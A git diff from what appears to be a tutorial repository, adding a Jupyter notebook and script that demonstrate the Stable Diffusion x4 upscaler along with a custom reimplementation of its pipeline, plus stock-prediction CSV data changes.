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+ "4178b1767a614f89aa62f12a4e3a7350",
+ "c909bafccc65402fa93afea87f1b784e",
+ "6c32232cfb734ac3a3204a22c414fc18",
+ "1f37677826544166a0b63d36c9c3edac",
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+ "91f32130b9fc47ceaae99521c0b70015",
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+ "7a4e5fdddcd34b6cb658b94db24ba474",
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+ ]
+ },
+ "id": "l3QZf9-UDEb0",
+ "outputId": "d2d9ea4c-1665-431b-c71c-bc5441522721"
+ },
+ "outputs": [],
+ "source": [
+ "# load model and scheduler\n",
+ "model_id = \"stabilityai/stable-diffusion-x4-upscaler\"\n",
+ "pipeline = StableDiffusionUpscalePipeline.from_pretrained(model_id, torch_dtype=torch.float16)\n",
+ "pipeline = pipeline.to(\"cuda\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "1rZBf5X4VfbQ"
+ },
+ "outputs": [],
+ "source": [
+ "def get_low_res_img(url, shape):\n",
+ " response = requests.get(url)\n",
+ " low_res_img = Image.open(BytesIO(response.content)).convert(\"RGB\")\n",
+ " low_res_img = low_res_img.resize(shape)\n",
+ " return low_res_img"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 145
+ },
+ "id": "VSWlrXyIDGSo",
+ "outputId": "1153aadd-bcc2-4365-9ce8-b02590018e49"
+ },
+ "outputs": [],
+ "source": [
+ "url = \"https://cdn.pixabay.com/photo/2017/02/07/16/47/kingfisher-2046453_640.jpg/"\n",
+ "shape = (200, 128)\n",
+ "low_res_img = get_low_res_img(url, shape)\n",
+ "\n",
+ "low_res_img"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 561,
+ "referenced_widgets": [
+ "c1dc0d80451c4d098f16eb6ec7eed752",
+ "d4c5db5f7ffe42beb2065e14cbdd755d",
+ "accd8a5f56cf41c5af297f8bf93f7058",
+ "824b0b410fed4ea1b5bc7f88236fc3e8",
+ "a6b2ca41ffb24b9193a83fd9a4c24a8c",
+ "bc9783a6d9d0437b881b01cad81c0173",
+ "9e5ef9fe15314ce3bf13e61994851485",
+ "ed9e0cfb4635476f9e31c5b48aeafde8",
+ "396aee75c5954aa9b634d79c18177977",
+ "c5f787d7f16542baa5a5657c3ecb14a0",
+ "be0a3bc217b04b2dbd06a90141c0dd35"
+ ]
+ },
+ "id": "hPtKNnwSDA_u",
+ "outputId": "60b2259e-02a0-445d-da26-eca1d51b4181"
+ },
+ "outputs": [],
+ "source": [
+ "prompt = \"an aesthetic kingfisher\"\n",
+ "upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]\n",
+ "upscaled_image"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 561,
+ "referenced_widgets": [
+ "9c2ff534109548fc8cab92f3b0aefc71",
+ "e417a487b9ab44d68bf5d4155f4ff339",
+ "ce0bc6a269b841e59b3c1b00796b8605",
+ "b014fb9554fb4f61a8d44135a6ad4954",
+ "c30445a77e81411bbad4f90b8c54bc35",
+ "c2ccf29c76d1461c8e820cdd1091684a",
+ "42248bb1fb38481eaa292dbca2d68e38",
+ "ac71f4fe6e804f19b2529c82e5a42049",
+ "518150c24b25401d92cf483e5ecb0253",
+ "d612163ad6d24d91a6d7ee758d8d6367",
+ "ab1c2c3e457944acb16508cf7a721290"
+ ]
+ },
+ "id": "I1hCWlwXU5ij",
+ "outputId": "fca3425e-973a-4951-df52-6eebba1b96e3"
+ },
+ "outputs": [],
+ "source": [
+ "prompt = \"an aesthetic kingfisher, UHD, 4k, hyper realistic, extremely detailed, professional, vibrant, not grainy, smooth\"\n",
+ "upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]\n",
+ "upscaled_image"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 529
+ },
+ "id": "4H0IkHfuDBB5",
+ "outputId": "1fceb2fc-7e6c-492f-fc5b-cbd6d64f3d65"
+ },
+ "outputs": [],
+ "source": [
+ "upscaled_interpolation = low_res_img.resize((800, 512))\n",
+ "upscaled_interpolation"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 145
+ },
+ "id": "xxVVHJAeDBEM",
+ "outputId": "f099d0db-89ef-49df-92f1-c01c861634e2"
+ },
+ "outputs": [],
+ "source": [
+ "url = \"https://cdn.pixabay.com/photo/2022/06/14/20/57/woman-7262808_1280.jpg/"\n",
+ "shape = (200, 128)\n",
+ "low_res_img = get_low_res_img(url, shape)\n",
+ "\n",
+ "low_res_img"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 561,
+ "referenced_widgets": [
+ "0c21001820524963b1214a2738c28584",
+ "ea062db0a1ad43af805bf2d86d26d369",
+ "2218df295404427eb6086c25f41946c5",
+ "682dc899e5ee4e24a9c0f1fc928fea6c",
+ "f8c3945c2c554cc9b7ea7435525c4ab4",
+ "b9cf936d26124cad959de16fcf5bea63",
+ "b3ae18d50eb4415b950f98bb38362207",
+ "0df5b95ccc3d4550bb1be7c001f54577",
+ "63a7a29ac462471eb67b275c68faff42",
+ "1ae88e18373a4322bddf0e51e5460a89",
+ "9b2140d07da744348068f013152b1160"
+ ]
+ },
+ "id": "UKtH894dXWHN",
+ "outputId": "44bfe391-7abe-4b99-bfd3-b19e755bfdaa"
+ },
+ "outputs": [],
+ "source": [
+ "prompt = \"an old lady\"\n",
+ "upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]\n",
+ "upscaled_image"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 561,
+ "referenced_widgets": [
+ "cf11071b7b114118a8b0b659167fa09e",
+ "03bce4ac84fd40d485b023e21fe65c4f",
+ "d0e9965e6aa4483da2dfa546b896e645",
+ "22338ed9cec54338ad33267ed579603a",
+ "622d32a9bbda46fca3ee0733be303765",
+ "ec0c44e82a814774823e60634d678b0d",
+ "e71abb2ba1b546ff9d7acd0c174f60d4",
+ "1237bd63fa814b57bbd9741296d71f46",
+ "5b3ca63a1af5452cb81fde6020fd9c53",
+ "a5971d5b793545a3845fbe1029b557e1",
+ "8384173365364cd5996018a775b167e2"
+ ]
+ },
+ "id": "L8fnlZsaDBHw",
+ "outputId": "9215669a-61be-4a6e-cd6b-85d212df6517"
+ },
+ "outputs": [],
+ "source": [
+ "prompt = \"an iranian old lady with black hair, brown scarf, rock background\"\n",
+ "upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]\n",
+ "upscaled_image"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 529
+ },
+ "id": "OTJNWtuyXOnE",
+ "outputId": "fe9eb4f3-f7b9-481f-b17b-e2028737141e"
+ },
+ "outputs": [],
+ "source": [
+ "upscaled_interpolation = low_res_img.resize((800, 512))\n",
+ "upscaled_interpolation"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 145
+ },
+ "id": "dXXzMj7vXf5W",
+ "outputId": "1895b5c9-d87e-48e8-c580-97a3b81838ed"
+ },
+ "outputs": [],
+ "source": [
+ "url = \"https://cdn.pixabay.com/photo/2017/12/28/07/44/zebra-3044577_1280.jpg/"\n",
+ "shape = (450, 128)\n",
+ "low_res_img = get_low_res_img(url, shape)\n",
+ "\n",
+ "low_res_img"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 453,
+ "referenced_widgets": [
+ "64373eefa4884b3084975549efcbd7fe",
+ "d8b3f3c7b8394b5580d8541f20c090ae",
+ "634af1f0b6894726bebb7b546c667169",
+ "5b89e69b011a40918b1acc0adf141874",
+ "9c01417376444eed820394ef843c0be3",
+ "db833b8a924f43208063cdc7b74220f7",
+ "d74c7ced9e5841e0a3635bf848912874",
+ "6a72b26cbdf041e7a8331fdc1642dee5",
+ "3c4dca0b51954031905bada22feef684",
+ "1e276839600443fa82ca0ab00409fd99",
+ "639d147ac3674094be21de9f3c11477c"
+ ]
+ },
+ "id": "xjH0CWRHXf7o",
+ "outputId": "b1ed8851-6243-43b8-d995-93129640b70d"
+ },
+ "outputs": [],
+ "source": [
+ "prompt = \"zebras drinking water\"\n",
+ "upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]\n",
+ "upscaled_image"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 419
+ },
+ "id": "ydbUyEFvXf_E",
+ "outputId": "3028b021-c4a0-4f19-8a2e-0a3e4b19f348"
+ },
+ "outputs": [],
+ "source": [
+ "upscaled_interpolation = low_res_img.resize((1800, 512))\n",
+ "upscaled_interpolation"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "MFt4Y1AoYWse"
+ },
+ "outputs": [],
+ "source": []
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "Ng2oJwHqYWvz"
+ },
+ "outputs": [],
+ "source": []
+ },
+ {
+ "cell_type": "markdown",
+ "metadata": {
+ "id": "NiM8uOTr9DK3"
+ },
+ "source": [
+ "# Custom\n"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "yCuWhxws9D24"
+ },
+ "outputs": [],
+ "source": [
+ "from tqdm import tqdm\n",
+ "from torch import autocast"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "T7PrARPl9EN2"
+ },
+ "outputs": [],
+ "source": [
+ "class CustomSDUpscalingPipeline:\n",
+ " \"\"\"custom implementation of the Stable Diffusion Upscaling Pipeline\"\"\"\n",
+ "\n",
+ " def __init__(self,\n",
+ " vae,\n",
+ " tokenizer,\n",
+ " text_encoder,\n",
+ " unet,\n",
+ " low_res_scheduler,\n",
+ " scheduler,\n",
+ " image_processor):\n",
+ "\n",
+ " self.vae = vae\n",
+ " self.tokenizer = tokenizer\n",
+ " self.text_encoder = text_encoder\n",
+ " self.unet = unet\n",
+ " self.low_res_scheduler = low_res_scheduler\n",
+ " self.scheduler = scheduler\n",
+ " self.image_processor = image_processor\n",
+ " self.device = 'cuda' if torch.cuda.is_available() else 'cpu'\n",
+ "\n",
+ "\n",
+ "\n",
+ " def get_text_embeds(self, text):\n",
+ " \"\"\"returns embeddings for the given `text`\"\"\"\n",
+ "\n",
+ " # tokenize the text\n",
+ " text_input = self.tokenizer(text,\n",
+ " padding='max_length',\n",
+ " max_length=tokenizer.model_max_length,\n",
+ " truncation=True,\n",
+ " return_tensors='pt')\n",
+ " # embed the text\n",
+ " with torch.no_grad():\n",
+ " text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0]\n",
+ " return text_embeds\n",
+ "\n",
+ "\n",
+ "\n",
+ " def get_prompt_embeds(self, prompt):\n",
+ " \"\"\"returns prompt embeddings based on classifier free guidance\"\"\"\n",
+ "\n",
+ " if isinstance(prompt, str):\n",
+ " prompt = [prompt]\n",
+ " # get conditional prompt embeddings\n",
+ " cond_embeds = self.get_text_embeds(prompt)\n",
+ " # get unconditional prompt embeddings\n",
+ " uncond_embeds = self.get_text_embeds([''] * len(prompt))\n",
+ " # concatenate the above 2 embeds for classfier free guidance\n",
+ " prompt_embeds = torch.cat([uncond_embeds, cond_embeds])\n",
+ " return prompt_embeds\n",
+ "\n",
+ "\n",
+ " def transform_image(self, image):\n",
+ " \"\"\"convert image from pytorch tensor to PIL format\"\"\"\n",
+ "\n",
+ " image = self.image_processor.postprocess(image, output_type='pil')\n",
+ " return image\n",
+ "\n",
+ "\n",
+ "\n",
+ " def get_initial_latents(self, height, width, num_channels_latents, batch_size):\n",
+ " \"\"\"returns noise latent tensor of relevant shape scaled by the scheduler\"\"\"\n",
+ "\n",
+ " image_latents = torch.randn((batch_size, num_channels_latents, height, width)).to(self.device)\n",
+ " # scale the initial noise by the standard deviation required by the scheduler\n",
+ " image_latents = image_latents * self.scheduler.init_noise_sigma\n",
+ " return image_latents\n",
+ "\n",
+ "\n",
+ "\n",
+ " def denoise_latents(self,\n",
+ " prompt_embeds,\n",
+ " image,\n",
+ " timesteps,\n",
+ " latents,\n",
+ " noise_level,\n",
+ " guidance_scale):\n",
+ " \"\"\"denoises latents from noisy latent to a meaningful latents\"\"\"\n",
+ "\n",
+ " # use autocast for automatic mixed precision (AMP) inference\n",
+ " with autocast('cuda'):\n",
+ " for i, t in tqdm(enumerate(timesteps)):\n",
+ " # duplicate image latents to do classifier free guidance\n",
+ " latent_model_input = torch.cat([latents] * 2)\n",
+ " latent_model_input = self.scheduler.scale_model_input(latent_model_input, t)\n",
+ " latent_model_input = torch.cat([latent_model_input, image], dim=1)\n",
+ "\n",
+ " # predict noise residuals\n",
+ " with torch.no_grad():\n",
+ " noise_pred = self.unet(\n",
+ " latent_model_input,\n",
+ " t,\n",
+ " encoder_hidden_states=prompt_embeds,\n",
+ " class_labels=noise_level\n",
+ " )['sample']\n",
+ "\n",
+ " # separate predictions for unconditional and conditional outputs\n",
+ " noise_pred_uncond, noise_pred_text = noise_pred.chunk(2)\n",
+ "\n",
+ " # perform guidance\n",
+ " noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_text - noise_pred_uncond)\n",
+ "\n",
+ " # remove the noise from the current sample i.e. go from x_t to x_{t-1}\n",
+ " latents = self.scheduler.step(noise_pred, t, latents)['prev_sample']\n",
+ "\n",
+ " return latents\n",
+ "\n",
+ "\n",
+ "\n",
+ " def __call__(self,\n",
+ " prompt,\n",
+ " image,\n",
+ " num_inference_steps=20,\n",
+ " guidance_scale=9.0,\n",
+ " noise_level=20):\n",
+ " \"\"\"generates new image based on the `prompt` and the `image`\"\"\"\n",
+ "\n",
+ " # encode input prompt\n",
+ " prompt_embeds = self.get_prompt_embeds(prompt)\n",
+ "\n",
+ " # preprocess image\n",
+ " image = self.image_processor.preprocess(image).to(self.device)\n",
+ "\n",
+ " # prepare timesteps\n",
+ " self.scheduler.set_timesteps(num_inference_steps, device=self.device)\n",
+ " timesteps = self.scheduler.timesteps\n",
+ "\n",
+ " # add noise to image\n",
+ " noise_level = torch.tensor([noise_level], device=self.device)\n",
+ " noise = torch.randn(image.shape, device=self.device)\n",
+ " image = self.low_res_scheduler.add_noise(image, noise, noise_level)\n",
+ "\n",
+ " # duplicate image for classifier free guidance\n",
+ " image = torch.cat([image] * 2)\n",
+ " noise_level = torch.cat([noise_level] * image.shape[0])\n",
+ "\n",
+ " # prepare the initial image in the latent space (noise on which we will do reverse diffusion)\n",
+ " num_channels_latents = self.vae.config.latent_channels\n",
+ " batch_size = prompt_embeds.shape[0] // 2\n",
+ " height, width = image.shape[2:]\n",
+ " latents = self.get_initial_latents(height, width, num_channels_latents, batch_size)\n",
+ "\n",
+ " # denoise latents\n",
+ " latents = self.denoise_latents(prompt_embeds,\n",
+ " image,\n",
+ " timesteps,\n",
+ " latents,\n",
+ " noise_level,\n",
+ " guidance_scale)\n",
+ "\n",
+ " # decode latents to get the image into pixel space\n",
+ " latents = latents.to(torch.float16)\n",
+ " image = self.vae.decode(latents / self.vae.config.scaling_factor, return_dict=False)[0]\n",
+ "\n",
+ " # convert to PIL Image format\n",
+ " image = self.transform_image(image.detach()) # detach to remove any computed gradients\n",
+ "\n",
+ " return image"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "iPMCQB179EQN"
+ },
+ "outputs": [],
+ "source": [
+ "# get all the components from the SD Upscaler pipeline\n",
+ "vae = pipeline.vae\n",
+ "tokenizer = pipeline.tokenizer\n",
+ "text_encoder = pipeline.text_encoder\n",
+ "unet = pipeline.unet\n",
+ "low_res_scheduler = pipeline.low_res_scheduler\n",
+ "scheduler = pipeline.scheduler\n",
+ "image_processor = pipeline.image_processor\n",
+ "\n",
+ "custom_pipe = CustomSDUpscalingPipeline(vae, tokenizer, text_encoder, unet, low_res_scheduler, scheduler, image_processor)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "HUxdvfo7eLcq"
+ },
+ "outputs": [],
+ "source": [
+ "url = \"https://cdn.pixabay.com/photo/2017/02/07/16/47/kingfisher-2046453_640.jpg/"\n",
+ "shape = (200, 128)\n",
+ "low_res_img = get_low_res_img(url, shape)\n",
+ "\n",
+ "low_res_img"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 546
+ },
+ "id": "SgbP2oQl9EUk",
+ "outputId": "b1b3d70c-58ef-497a-d87b-2c15073e4d2a"
+ },
+ "outputs": [],
+ "source": [
+ "prompt = \"an aesthetic kingfisher\"\n",
+ "upscaled_image = custom_pipe(prompt=prompt, image=low_res_img)[0]\n",
+ "upscaled_image"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 145
+ },
+ "id": "Wf8MTwFCeRrR",
+ "outputId": "17827131-0f99-408e-b61d-ff802509baa9"
+ },
+ "outputs": [],
+ "source": [
+ "url = \"https://cdn.pixabay.com/photo/2018/07/31/22/08/lion-3576045_1280.jpg/"\n",
+ "shape = (200, 128)\n",
+ "low_res_img = get_low_res_img(url, shape)\n",
+ "\n",
+ "low_res_img"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 546
+ },
+ "id": "QzkJk4Jo9Eca",
+ "outputId": "a5ddbb9a-7526-48f5-f449-22e54445fae2"
+ },
+ "outputs": [],
+ "source": [
+ "prompt = \"a professional photograph of a lion's face\"\n",
+ "upscaled_image = custom_pipe(prompt=prompt, image=low_res_img)[0]\n",
+ "upscaled_image"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
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+ "id": "tT3jd43tdbeg",
+ "outputId": "d7a8e0a7-1ed1-4c18-8b6c-b5dcbf4c4fb5"
+ },
+ "outputs": [],
+ "source": [
+ "upscaled_interpolation = low_res_img.resize((800, 512))\n",
+ "upscaled_interpolation"
+ ]
+ },
+ {
+ "cell_type": "code",
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+ "id": "5JUP7spYdbh2"
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+ "overflow_x": null,
+ "overflow_y": null,
+ "padding": null,
+ "right": null,
+ "top": null,
+ "visibility": null,
+ "width": null
+ }
+ },
+ "ff88d9a5f7d64ad7bb0f09f6c71543f1": {
+ "model_module": "@jupyter-widgets/controls",
+ "model_module_version": "1.5.0",
+ "model_name": "DescriptionStyleModel",
+ "state": {
+ "_model_module": "@jupyter-widgets/controls",
+ "_model_module_version": "1.5.0",
+ "_model_name": "DescriptionStyleModel",
+ "_view_count": null,
+ "_view_module": "@jupyter-widgets/base",
+ "_view_module_version": "1.2.0",
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+ "nbformat": 4,
+ "nbformat_minor": 0
+}
diff --git a/machine-learning/stable-diffusion-upscaler/requirements.txt b/machine-learning/stable-diffusion-upscaler/requirements.txt
new file mode 100644
index 00000000..6feca34e
--- /dev/null
+++ b/machine-learning/stable-diffusion-upscaler/requirements.txt
@@ -0,0 +1,6 @@
+torch
+diffusers
+transformers
+accelerate
+scipy
+safetensors
\ No newline at end of file
diff --git a/machine-learning/stable-diffusion-upscaler/stable_diffusion_upscaler.py b/machine-learning/stable-diffusion-upscaler/stable_diffusion_upscaler.py
new file mode 100644
index 00000000..06efe53c
--- /dev/null
+++ b/machine-learning/stable-diffusion-upscaler/stable_diffusion_upscaler.py
@@ -0,0 +1,303 @@
+# %%
+!pip install -qU diffusers transformers accelerate scipy safetensors
+
+# %% [markdown]
+# # Hugging Face Implementation
+
+# %%
+import requests
+from PIL import Image
+from io import BytesIO
+from diffusers import StableDiffusionUpscalePipeline
+import torch
+
+# %%
+# load model and scheduler
+model_id = "stabilityai/stable-diffusion-x4-upscaler"
+pipeline = StableDiffusionUpscalePipeline.from_pretrained(model_id, torch_dtype=torch.float16)
+pipeline = pipeline.to("cuda")
+
+# %%
+def get_low_res_img(url, shape):
+ response = requests.get(url)
+ low_res_img = Image.open(BytesIO(response.content)).convert("RGB")
+ low_res_img = low_res_img.resize(shape)
+ return low_res_img
+
+# %%
+url = "https://cdn.pixabay.com/photo/2017/02/07/16/47/kingfisher-2046453_640.jpg"
+shape = (200, 128)
+low_res_img = get_low_res_img(url, shape)
+
+low_res_img
+
+# %%
+prompt = "an aesthetic kingfisher"
+upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]
+upscaled_image
+
+# %%
+prompt = "an aesthetic kingfisher, UHD, 4k, hyper realistic, extremely detailed, professional, vibrant, not grainy, smooth"
+upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]
+upscaled_image
+
+# %%
+upscaled_interpolation = low_res_img.resize((800, 512))
+upscaled_interpolation
+
+# %%
+url = "https://cdn.pixabay.com/photo/2022/06/14/20/57/woman-7262808_1280.jpg"
+shape = (200, 128)
+low_res_img = get_low_res_img(url, shape)
+
+low_res_img
+
+# %%
+prompt = "an old lady"
+upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]
+upscaled_image
+
+# %%
+prompt = "an iranian old lady with black hair, brown scarf, rock background"
+upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]
+upscaled_image
+
+# %%
+upscaled_interpolation = low_res_img.resize((800, 512))
+upscaled_interpolation
+
+# %%
+url = "https://cdn.pixabay.com/photo/2017/12/28/07/44/zebra-3044577_1280.jpg"
+shape = (450, 128)
+low_res_img = get_low_res_img(url, shape)
+
+low_res_img
+
+# %%
+prompt = "zebras drinking water"
+upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]
+upscaled_image
+
+# %%
+upscaled_interpolation = low_res_img.resize((1800, 512))
+upscaled_interpolation
+
+# %%
+
+
+# %%
+
+
+# %% [markdown]
+# # Custom
+#
+
+# %%
+from tqdm import tqdm
+from torch import autocast
+
+# %%
+class CustomSDUpscalingPipeline:
+ """custom implementation of the Stable Diffusion Upscaling Pipeline"""
+
+ def __init__(self,
+ vae,
+ tokenizer,
+ text_encoder,
+ unet,
+ low_res_scheduler,
+ scheduler,
+ image_processor):
+
+ self.vae = vae
+ self.tokenizer = tokenizer
+ self.text_encoder = text_encoder
+ self.unet = unet
+ self.low_res_scheduler = low_res_scheduler
+ self.scheduler = scheduler
+ self.image_processor = image_processor
+ self.device = 'cuda' if torch.cuda.is_available() else 'cpu'
+
+
+
+ def get_text_embeds(self, text):
+ """returns embeddings for the given `text`"""
+
+ # tokenize the text
+ text_input = self.tokenizer(text,
+ padding='max_length',
+ max_length=tokenizer.model_max_length,
+ truncation=True,
+ return_tensors='pt')
+ # embed the text
+ with torch.no_grad():
+ text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0]
+ return text_embeds
+
+
+
+ def get_prompt_embeds(self, prompt):
+ """returns prompt embeddings based on classifier free guidance"""
+
+ if isinstance(prompt, str):
+ prompt = [prompt]
+ # get conditional prompt embeddings
+ cond_embeds = self.get_text_embeds(prompt)
+ # get unconditional prompt embeddings
+ uncond_embeds = self.get_text_embeds([''] * len(prompt))
+ # concatenate the above 2 embeds for classfier free guidance
+ prompt_embeds = torch.cat([uncond_embeds, cond_embeds])
+ return prompt_embeds
+
+
+ def transform_image(self, image):
+ """convert image from pytorch tensor to PIL format"""
+
+ image = self.image_processor.postprocess(image, output_type='pil')
+ return image
+
+
+
+ def get_initial_latents(self, height, width, num_channels_latents, batch_size):
+ """returns noise latent tensor of relevant shape scaled by the scheduler"""
+
+ image_latents = torch.randn((batch_size, num_channels_latents, height, width)).to(self.device)
+ # scale the initial noise by the standard deviation required by the scheduler
+ image_latents = image_latents * self.scheduler.init_noise_sigma
+ return image_latents
+
+
+
+ def denoise_latents(self,
+ prompt_embeds,
+ image,
+ timesteps,
+ latents,
+ noise_level,
+ guidance_scale):
+ """denoises latents from noisy latent to a meaningful latents"""
+
+ # use autocast for automatic mixed precision (AMP) inference
+ with autocast('cuda'):
+ for i, t in tqdm(enumerate(timesteps)):
+ # duplicate image latents to do classifier free guidance
+ latent_model_input = torch.cat([latents] * 2)
+ latent_model_input = self.scheduler.scale_model_input(latent_model_input, t)
+ latent_model_input = torch.cat([latent_model_input, image], dim=1)
+
+ # predict noise residuals
+ with torch.no_grad():
+ noise_pred = self.unet(
+ latent_model_input,
+ t,
+ encoder_hidden_states=prompt_embeds,
+ class_labels=noise_level
+ )['sample']
+
+ # separate predictions for unconditional and conditional outputs
+ noise_pred_uncond, noise_pred_text = noise_pred.chunk(2)
+
+ # perform guidance
+ noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_text - noise_pred_uncond)
+
+ # remove the noise from the current sample i.e. go from x_t to x_{t-1}
+ latents = self.scheduler.step(noise_pred, t, latents)['prev_sample']
+
+ return latents
+
+
+
+ def __call__(self,
+ prompt,
+ image,
+ num_inference_steps=20,
+ guidance_scale=9.0,
+ noise_level=20):
+ """generates new image based on the `prompt` and the `image`"""
+
+ # encode input prompt
+ prompt_embeds = self.get_prompt_embeds(prompt)
+
+ # preprocess image
+ image = self.image_processor.preprocess(image).to(self.device)
+
+ # prepare timesteps
+ self.scheduler.set_timesteps(num_inference_steps, device=self.device)
+ timesteps = self.scheduler.timesteps
+
+ # add noise to image
+ noise_level = torch.tensor([noise_level], device=self.device)
+ noise = torch.randn(image.shape, device=self.device)
+ image = self.low_res_scheduler.add_noise(image, noise, noise_level)
+
+ # duplicate image for classifier free guidance
+ image = torch.cat([image] * 2)
+ noise_level = torch.cat([noise_level] * image.shape[0])
+
+ # prepare the initial image in the latent space (noise on which we will do reverse diffusion)
+ num_channels_latents = self.vae.config.latent_channels
+ batch_size = prompt_embeds.shape[0] // 2
+ height, width = image.shape[2:]
+ latents = self.get_initial_latents(height, width, num_channels_latents, batch_size)
+
+ # denoise latents
+ latents = self.denoise_latents(prompt_embeds,
+ image,
+ timesteps,
+ latents,
+ noise_level,
+ guidance_scale)
+
+ # decode latents to get the image into pixel space
+ latents = latents.to(torch.float16)
+ image = self.vae.decode(latents / self.vae.config.scaling_factor, return_dict=False)[0]
+
+ # convert to PIL Image format
+ image = self.transform_image(image.detach()) # detach to remove any computed gradients
+
+ return image
+
+# %%
+# get all the components from the SD Upscaler pipeline
+vae = pipeline.vae
+tokenizer = pipeline.tokenizer
+text_encoder = pipeline.text_encoder
+unet = pipeline.unet
+low_res_scheduler = pipeline.low_res_scheduler
+scheduler = pipeline.scheduler
+image_processor = pipeline.image_processor
+
+custom_pipe = CustomSDUpscalingPipeline(vae, tokenizer, text_encoder, unet, low_res_scheduler, scheduler, image_processor)
+
+# %%
+url = "https://cdn.pixabay.com/photo/2017/02/07/16/47/kingfisher-2046453_640.jpg"
+shape = (200, 128)
+low_res_img = get_low_res_img(url, shape)
+
+low_res_img
+
+# %%
+prompt = "an aesthetic kingfisher"
+upscaled_image = custom_pipe(prompt=prompt, image=low_res_img)[0]
+upscaled_image
+
+# %%
+url = "https://cdn.pixabay.com/photo/2018/07/31/22/08/lion-3576045_1280.jpg"
+shape = (200, 128)
+low_res_img = get_low_res_img(url, shape)
+
+low_res_img
+
+# %%
+prompt = "a professional photograph of a lion's face"
+upscaled_image = custom_pipe(prompt=prompt, image=low_res_img)[0]
+upscaled_image
+
+# %%
+upscaled_interpolation = low_res_img.resize((800, 512))
+upscaled_interpolation
+
+# %%
+
+
+
diff --git a/machine-learning/stock-prediction/csv-results/2021-05-31_AMZN-sh-1-sc-1-sbd-0-huber_loss-adam-LSTM-seq-50-step-15-layers-2-units-256.csv b/machine-learning/stock-prediction/csv-results/2021-05-31_AMZN-sh-1-sc-1-sbd-0-huber_loss-adam-LSTM-seq-50-step-15-layers-2-units-256.csv
new file mode 100644
index 00000000..2b4be05b
--- /dev/null
+++ b/machine-learning/stock-prediction/csv-results/2021-05-31_AMZN-sh-1-sc-1-sbd-0-huber_loss-adam-LSTM-seq-50-step-15-layers-2-units-256.csv
@@ -0,0 +1,1199 @@
+,open,high,low,close,adjclose,volume,ticker,adjclose_15,true_adjclose_15,buy_profit,sell_profit
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diff --git a/machine-learning/stock-prediction/data/AAPL_2020-04-28.csv b/machine-learning/stock-prediction/data/AAPL_2020-04-28.csv
deleted file mode 100644
index 7a990cbb..00000000
--- a/machine-learning/stock-prediction/data/AAPL_2020-04-28.csv
+++ /dev/null
@@ -1,9929 +0,0 @@
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-1981-01-27,0.5758928656578064,0.5758928656578064,0.5714285969734192,0.5714285969734192,0.4527655839920044,5924800.0,AAPL
-1981-01-28,0.5558035969734192,0.5558035969734192,0.5535714030265808,0.5535714030265808,0.4386165738105774,7039200.0,AAPL
-1981-01-29,0.5357142686843872,0.5357142686843872,0.5334821343421936,0.5334821343421936,0.42269906401634216,10976000.0,AAPL
